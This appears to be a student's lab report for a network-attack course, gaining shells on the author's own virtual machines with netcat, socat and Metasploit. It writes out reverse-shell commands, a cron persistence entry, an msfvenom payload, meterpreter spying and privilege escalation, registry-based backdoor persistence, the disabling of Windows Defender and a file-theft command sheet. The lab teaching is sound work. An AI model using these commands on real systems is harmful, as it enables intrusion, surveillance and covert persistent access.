2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

强颜欢笑 提交于 2020-05-06 03:08:48

2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

实验内容(概要):

(1)使用netcat获取主机Shell,cron启动

首先两个电脑(虚拟机)都得有netcat,然后各使用netcat互相攻击一次。最后使用在linux用cron设置一个定时启动。

(2)使用socat获取主机Shell, 任务计划启动

与第一个区别在于,第二个虚拟机使用Windows的任务计划启动一次,设置一个定时启动。

(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

可执行文件就是后门程序。利用ncat或socat传送如果不行,复制粘贴也可以。

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

这个就是获取shell以后的阶段,很有意思了。

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。

这个不是很懂。。。也暂时没有做,过段时间看看别人的,问题不大。


2.基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

一个是通过U盘硬盘这种可移动设备,如果写一个AutoRun.inf,插上以后就会自动运行后门。

二是盗版软件,破解工具。实际上这可能是无法避免的,在中国盗版软件多得超乎想象,像Adobe这种实用而流行的产品,如果买正版几乎让人倾家荡产。

最重要的是,在你使用这些盗版软件或者破解正版软件的时候,可能需要关闭防火墙和杀软才能起效果。

当你心甘情愿主动地关闭杀软的时候,即使是最简单的恶意代码或者后门程序也是致命的。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win后门的启动,我认为最合适的方法是修改注册表启动项,这也是最可靠的方法。

除此之外还可以使用meterpreter建立持久后门,方案1:

run persistence -X -i 5 -p 443 -r 192.168.1.207 //攻击机ip

在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件上面。

缺点:很容易被杀软搞死。

方案2就是在靶机启动metsvc,但是这个会被其他所有黑客利用。

实验中使用的是任务计划启动,在实践中似乎不是很可靠(做实验还是能做,但是如果在实战渗透这样的方法不是很可靠诶,from自己瞎玩的经验)。

linux的后门启动我知道的就只有那什么cron了,我感觉win系统作为靶机的情况更多吧。

(3)Meterpreter有哪些给你映像深刻的功能?

Meterpreter功能很强大,牛逼。

生成backdoor,upload,留下后门,修改注册表,截图录音,击键记录,这谁顶得住???

最重要的是还有tab补全,太舒服了。。。。

(4)如何发现自己有系统有没有被安装后门?

最简单就是用杀软查杀呗,大老虎可能抓不到,小苍蝇还是能打死。

然后如果多看看任务管理器,多看看端口,有没有什么奇奇怪怪的幺蛾子。

然后上香祈祷吧,我真的没有什么攻击价值,求求dalao放过我,给个机会嘛,我也是要吔饭的嘛。。。。。


3.实验内容

准备

启动!!!

使用netcat获取主机操作Shell,cron启动

首先我们得在不使用cron的情况下用win10获取kali权限。

在获取权限的时候,使用的是反弹的方式,我的理解就是攻击机开放端口等待,靶机主动连接攻击机。

在win10的cmd输入:ncat.exe -l -p 5325

注意,此时win10的cmd工作路径下要有ncat。

在kali端输入:nc 192.168.1.123 5325 -e /bin/sh

成功:

通过相似的操作,也能获取win10的权限。

kali:nc -l -p 5325

win10:ncat.exe 192.168.1.207 5325 -e cmd.exe

成功:

接下来我们可以尝试使用cron来定时执行指令,悄悄启动ncat。

kali:crontab -e打开crontab,首次打开的时候可能会让你选择1234,选3. /usr/bin/vim.basic

在最下面加一句:42 * * * * /bin/netcat 192.168.1.123 5325 -e /bin/sh,如图所示

意思就是每小时42分启动一次。

此时眼疾手快,在win10:ncat.exe -l -p 5325开始监听。

成功:

使用socat获取主机操作Shell, 任务计划启动

这里主机指的是win10,也就是说kali获取win10的shell。

打开计算机管理,创建任务,输入参数tcp-listen:5325 exec:cmd.exe,pty,stderr,如图

然后右键运行,会蹦出来一个窗,说:

 1 [main] socat 18780 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer.  Please report this problem to the public mailing list cygwin@cygwin.com

问题不大,不要关。

kali:socat - tcp:192.168.1.123:5325

成功:

关于错误提示,如果你关闭它,连接就会终止;网上没找到这什么意思,怎么解决,但是似乎不影响实验。

(惊险刺激的部分要来了)

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

首先生成一个后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.207 LPORT=5325 -f exe > 20165325.exe

参数说明(鸣谢庄艺霖学姐博客)

  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即使用该编码器编码5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型

把生成的文件复制粘贴到win10,懒人一枚。

kali:msfconsole启动!!!

二话不说,民工四连:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.209   //攻击机IP
set LPORT 5325

完美,让我们开始吧:exploit

成功:

爽。。。。。

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

record_mic可以录一段音频,-d选项设置录制时间:

webcam_snap 摄像头拍照:

没错这就是我。

更多的:

使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

使用screenshot指令可以进行截屏,效果如下:

先使用getuid指令查看当前用户,使用getsystem指令进行提权

也可以用webcam stream指令可以使用摄像头进行录像


plus

比起上面的,我更关心的是怎么持续攻击。。。

一般来说,当你GetShell后,首先想到的肯定是留下后门,以便后续能持续化进行控制。

Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence),这个在开头说过了。

通过metsvc的方式,命令简单方便,就是run metsvc,不进行反弹回连,无太多参数。该后门在目标机器启动后自启动一个”服务器”来等待连接,因此黑阔可以随时随地通过该后门进入目标机器。当然,当其他黑阔使用扫描软件扫出该”服务器”的存在时,也可以通过该后门直达目标机器内部。

通过persistence的方式,参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败,功败垂成。

参数:

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
 
OPTIONS:
 
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back

  • -P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行

  • -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数

  • -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。

  • -i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip

  • -p:设置反向连接的端口号。即黑阔用来等待连接的端口

  • -r:设置反向连接的ip地址。即黑阔用来等待连接的ip

一个完整的命令为run persistence -U -i 10 -p 5325 -r 192.168.1.207

实践表明:使用注册表实现自启动更不容易被察觉,存活率较高。

upload /root/backdoor.exe c:\\users\\arche\\AppData\\local\\backdoor.exe  //上传新的backdoor
reg setval -k HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v backdoor -d c:\\users\\arche\\AppData\\local\\backdoor.exe //修改注册表

甚至可以直接在组策略禁用windows defender

meterpreter > execute  -H -i -f cmd.exe
Process 9064 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.17134.648]
(c) 2018 Microsoft Corporation

C:\Windows\System32>reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

附:

cat c:\boot.ini#查看文件内容,文件必须存在

del c:\boot.ini #删除指定的文件

upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload  setup.exe C:\\windows\\system32\

download nimeia.txt /root/Desktop/   # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/

edit c:\boot.ini  # 编辑文件

getlwd#打印本地目录

getwd#打印工作目录

lcd#更改本地目录

ls#列出在当前目录中的文件列表

lpwd#打印本地目录

pwd#输出工作目录

cd c:\\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir#受害者系统上删除目录

dir#列出目标主机的文件和文件夹信息

mv#修改目标主机上的文件名

search -d d:\\www -f web.config #search 文件,如search  -d c:\\  -f*.doc

meterpreter > search -f autoexec.bat  #搜索文件

meterpreter > search -f sea*.bat c:\\xamp\\

enumdesktops     #用户登录数

参考:

http://www.arche.name/?p=266

https://www.cnblogs.com/backlion/p/9484949.html

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!